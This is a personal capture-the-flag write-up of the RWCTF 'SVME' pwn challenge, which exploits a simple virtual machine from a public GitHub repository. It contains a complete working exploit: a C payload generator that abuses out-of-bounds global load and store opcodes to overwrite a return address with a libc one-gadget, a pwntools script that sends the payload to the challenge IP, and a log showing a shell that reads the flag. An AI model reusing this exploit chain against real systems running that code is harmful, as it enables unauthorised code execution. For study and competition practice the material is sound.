RWCTF SVME Writeup
I just find this note for RWCTF pwn challenge SVME
. Its a simple but traditional pwn challenge, in my opinion.
I havent thought about to solve it until my leader talked to me to participant the RWCTF game. I havent checked the Dingtalk, and I did not know there exist an internal RWCTF but I registered the Real RWCTF game.
It's not that easy for me. Despite some experience with pwn.college and got a blue belt here. (And I planed to write a review for that interesting site! however lost all my notes with a hardware failure.). It took me nearly half of the day, one night and half the after noon, and made me feel that I would never take part in a CTF for a feeling of tired.
Next is the notes:
SVME challenge
The real world github source code program
https://github.com/parrt/simple-virtual-machine-C/
runs on a remote machine with docker deployed file.
FROM ubuntu:20.04 ENV DEBIAN_FRONTEND noninteractive RUN apt-get update &&\ apt-get install -y --no-install-recommends gcc g++ cmake make wget unzip socat WORKDIR /app/ RUN wget --no-check-certificate https://github.com/parrt/simple-virtual-machine-C/archive/refs/heads/master.zip -O svme.zip &&\ unzip svme.zip COPY ./main.c /app/simple-virtual-machine-C-master/src/vmtest.c RUN cd simple-virtual-machine-C-master &&\ cmake . &&\ make &&\ mv ./simple_virtual_machine_C /app/svme &&\ cd /app/ &&\ rm -rf ./simple-virtual-machine-C-master RUN useradd --no-create-home -u 1000 user COPY flag / CMD ["socat", "tcp-l:1337,reuseaddr,fork,su=user", "exec:/app/svme"]
Trials
so … every time a different memory map. it's ok, every modern machine has ASRL
.
reverland@reverland-RESCUER-R720-15IKBN:~/practice/tmp$ cat /proc/ Display all 386 possibilities? (y or n) reverland@reverland-RESCUER-R720-15IKBN:~/practice/tmp$ cat /proc/672346/maps 55b2fa990000-55b2fa991000 r--p 00000000 00:5f 32265997 /app/svme 55b2fa991000-55b2fa992000 r-xp 00001000 00:5f 32265997 /app/svme 55b2fa992000-55b2fa993000 r--p 00002000 00:5f 32265997 /app/svme 55b2fa993000-55b2fa994000 r--p 00002000 00:5f 32265997 /app/svme 55b2fa994000-55b2fa995000 rw-p 00003000 00:5f 32265997 /app/svme 7fe14dd0f000-7fe14dd34000 r--p 00000000 00:5f 18745099 /usr/lib/x86_64-linux-gnu/libc-2.31.so 7fe14dd34000-7fe14deac000 r-xp 00025000 00:5f 18745099 /usr/lib/x86_64-linux-gnu/libc-2.31.so 7fe14deac000-7fe14def6000 r--p 0019d000 00:5f 18745099 /usr/lib/x86_64-linux-gnu/libc-2.31.so 7fe14def6000-7fe14def7000 ---p 001e7000 00:5f 18745099 /usr/lib/x86_64-linux-gnu/libc-2.31.so 7fe14def7000-7fe14defa000 r--p 001e7000 00:5f 18745099 /usr/lib/x86_64-linux-gnu/libc-2.31.so 7fe14defa000-7fe14defd000 rw-p 001ea000 00:5f 18745099 /usr/lib/x86_64-linux-gnu/libc-2.31.so 7fe14defd000-7fe14df03000 rw-p 00000000 00:00 0 7fe14df06000-7fe14df07000 r--p 00000000 00:5f 18745077 /usr/lib/x86_64-linux-gnu/ld-2.31.so 7fe14df07000-7fe14df2a000 r-xp 00001000 00:5f 18745077 /usr/lib/x86_64-linux-gnu/ld-2.31.so 7fe14df2a000-7fe14df32000 r--p 00024000 00:5f 18745077 /usr/lib/x86_64-linux-gnu/ld-2.31.so 7fe14df33000-7fe14df34000 r--p 0002c000 00:5f 18745077 /usr/lib/x86_64-linux-gnu/ld-2.31.so 7fe14df34000-7fe14df35000 rw-p 0002d000 00:5f 18745077 /usr/lib/x86_64-linux-gnu/ld-2.31.so 7fe14df35000-7fe14df36000 rw-p 00000000 00:00 0 7fff01b06000-7fff01b27000 rw-p 00000000 00:00 0 [stack] 7fff01b77000-7fff01b7b000 r--p 00000000 00:00 0 [vvar] 7fff01b7b000-7fff01b7d000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0 [vsyscall] reverland@reverland-RESCUER-R720-15IKBN:~/practice/tmp$ ps -aux|grep svme reverla+ 669372 0.0 0.3 831428 57056 pts/4 Sl+ 20:50 0:00 docker run -p 1337:1337 svme root 669446 0.0 0.0 7052 3624 ? Ss 20:50 0:00 socat tcp-l:1337,reuseaddr,fork,su=user exec:/app/svme reverla+ 672364 0.0 0.0 7052 456 ? S 22:25 0:00 socat tcp-l:1337,reuseaddr,fork,su=user exec:/app/svme reverla+ 672365 0.0 0.0 2364 524 ? S 22:25 0:00 /app/svme reverla+ 672367 0.0 0.0 12124 676 pts/3 S+ 22:25 0:00 grep --color=auto svme reverland@reverland-RESCUER-R720-15IKBN:~/practice/tmp$ cat /proc/672365/maps 55d0cb53c000-55d0cb53d000 r--p 00000000 00:5f 32265997 /app/svme 55d0cb53d000-55d0cb53e000 r-xp 00001000 00:5f 32265997 /app/svme 55d0cb53e000-55d0cb53f000 r--p 00002000 00:5f 32265997 /app/svme 55d0cb53f000-55d0cb540000 r--p 00002000 00:5f 32265997 /app/svme 55d0cb540000-55d0cb541000 rw-p 00003000 00:5f 32265997 /app/svme 7f723bde3000-7f723be08000 r--p 00000000 00:5f 18745099 /usr/lib/x86_64-linux-gnu/libc-2.31.so 7f723be08000-7f723bf80000 r-xp 00025000 00:5f 18745099 /usr/lib/x86_64-linux-gnu/libc-2.31.so 7f723bf80000-7f723bfca000 r--p 0019d000 00:5f 18745099 /usr/lib/x86_64-linux-gnu/libc-2.31.so 7f723bfca000-7f723bfcb000 ---p 001e7000 00:5f 18745099 /usr/lib/x86_64-linux-gnu/libc-2.31.so 7f723bfcb000-7f723bfce000 r--p 001e7000 00:5f 18745099 /usr/lib/x86_64-linux-gnu/libc-2.31.so 7f723bfce000-7f723bfd1000 rw-p 001ea000 00:5f 18745099 /usr/lib/x86_64-linux-gnu/libc-2.31.so 7f723bfd1000-7f723bfd7000 rw-p 00000000 00:00 0 7f723bfda000-7f723bfdb000 r--p 00000000 00:5f 18745077 /usr/lib/x86_64-linux-gnu/ld-2.31.so 7f723bfdb000-7f723bffe000 r-xp 00001000 00:5f 18745077 /usr/lib/x86_64-linux-gnu/ld-2.31.so 7f723bffe000-7f723c006000 r--p 00024000 00:5f 18745077 /usr/lib/x86_64-linux-gnu/ld-2.31.so 7f723c007000-7f723c008000 r--p 0002c000 00:5f 18745077 /usr/lib/x86_64-linux-gnu/ld-2.31.so 7f723c008000-7f723c009000 rw-p 0002d000 00:5f 18745077 /usr/lib/x86_64-linux-gnu/ld-2.31.so 7f723c009000-7f723c00a000 rw-p 00000000 00:00 0 7ffe6acaf000-7ffe6acd0000 rw-p 00000000 00:00 0 [stack] 7ffe6ad9b000-7ffe6ad9f000 r--p 00000000 00:00 0 [vvar] 7ffe6ad9f000-7ffe6ada1000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0 [vsyscall] reverland@reverland-RESCUER-R720-15IKBN:~/practice/tmp$
I found i can use gload
and gstore
to leak and write memory after vm.globals
(b3a0)
however, the vm is at (92a0)
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555559000
Size: 0x291
Allocated chunk | PREV_INUSE
Addr: 0x555555559290
Size: 0x2101
Allocated chunk | PREV_INUSE
Addr: 0x55555555b390
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x55555555b3b0
Size: 0x411
Top chunk | PREV_INUSE
Addr: 0x55555555b7c0
Size: 0x1e841
pwndbg> p vm
$20 = (VM *) 0x5555555592a0
arbitrary read/write, the global is not safe.
arbitrary execute, overwrite rsp
however, need shell in one roundtrip
one gadget to get shell
reverland@reverland-host:~/practice$ python3 exp.py [+] Opening connection to 47.243.140.252 on port 1337: Done [DEBUG] Sent 0x200 bytes: 00000000 0b 00 00 00 c1 f7 ff ff 0b 00 00 00 c5 f7 ff ff │····│····│····│····│ 00000010 0b 00 00 00 c0 f7 ff ff 09 00 00 00 28 00 00 00 │····│····│····│(···│ 00000020 02 00 00 00 0d 00 00 00 c4 f7 ff ff 02 00 00 00 │····│····│····│····│ 00000030 01 00 00 00 01 00 00 00 09 00 00 00 00 00 00 00 │····│····│····│····│ 00000040 09 00 00 00 00 00 00 00 0b 00 00 00 90 00 00 00 │····│····│····│····│ 00000050 09 00 00 00 b3 70 02 00 02 00 00 00 09 00 00 00 │····│·p··│····│····│ 00000060 81 6c 0e 00 01 00 00 00 0d 00 00 00 00 00 00 00 │·l··│····│····│····│ 00000070 0b 00 00 00 91 00 00 00 0d 00 00 00 01 00 00 00 │····│····│····│····│ 00000080 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 00000200 [*] Switching to interactive mode $ cat /flag [DEBUG] Sent 0xa bytes: b'cat /flag\n' [DEBUG] Received 0x47 bytes: b'rwctf{simple_vm_escape_helps_warming_up_your_real_world_hacking_skill}\n' rwctf{simple_vm_escape_helps_warming_up_your_real_world_hacking_skill} [*] Got EOF while reading in interactive
the c program to generate the payload
#include <stdio.h> typedef enum { NOOP = 0, IADD = 1, // int add ISUB = 2, IMUL = 3, ILT = 4, // int less than IEQ = 5, // int equal BR = 6, // branch BRT = 7, // branch if true BRF = 8, // branch if true ICONST = 9, // push constant integer LOAD = 10, // load from local context GLOAD = 11, // load from global memory STORE = 12, // store in local context GSTORE = 13, // store in global memory PRINT = 14, // print stack top POP = 15, // throw away top of stack CALL = 16, // call function at address with nargs,nlocals RET = 17, // return value from function HALT = 18 } VM_CODE; int main() { int s[] = { // push code higher 4 bytes GLOAD, -(0x2100-4)/4, // push global higher 4 bytes GLOAD, -(0x2100/4)+5, // push code lower 4 bytes GLOAD, -0x2100/4, ICONST, 40, ISUB, // write lower 4 bytes of ret address into higher 4 bytes of global GSTORE, (-0x2100/4)+4, ISUB, IADD, IADD, // now globas become VM_EXEC's address // // ensure free not panic ICONST, 0, // ensure free not panic ICONST, 0, // back to begining of the stack // load libc_main_start+243 into stack GLOAD, 0x90, ICONST, 0x270b3, ISUB, ICONST, 0xe6c81, IADD, GSTORE, 0, GLOAD, 0x91, GSTORE, 1, HALT, }; for (int i=0;i<sizeof(s);i++) printf("%c", ((char *)s)[i]); }
my last exploit
from pwn import * import time context.log_level = 'debug' #p = gdb.debug("simple-virtual-machine-C/simple_virtual_machine_C") #p = process("docker/svme-indocker") p = remote("47.243.140.252", 1337) #p = remote("localhost", 1337) with open("tmp/input1", "rb") as f: s = f.read() s += b'\x00' * (512-len(s)) p.send(s) #time.sleep(10) #p.send(b'\x00' * (512-len(s))) p.interactive()
Last
many of the time I took is on io
, not until I really deploy a local one to test every thing. IO is hard, even with pwntools
.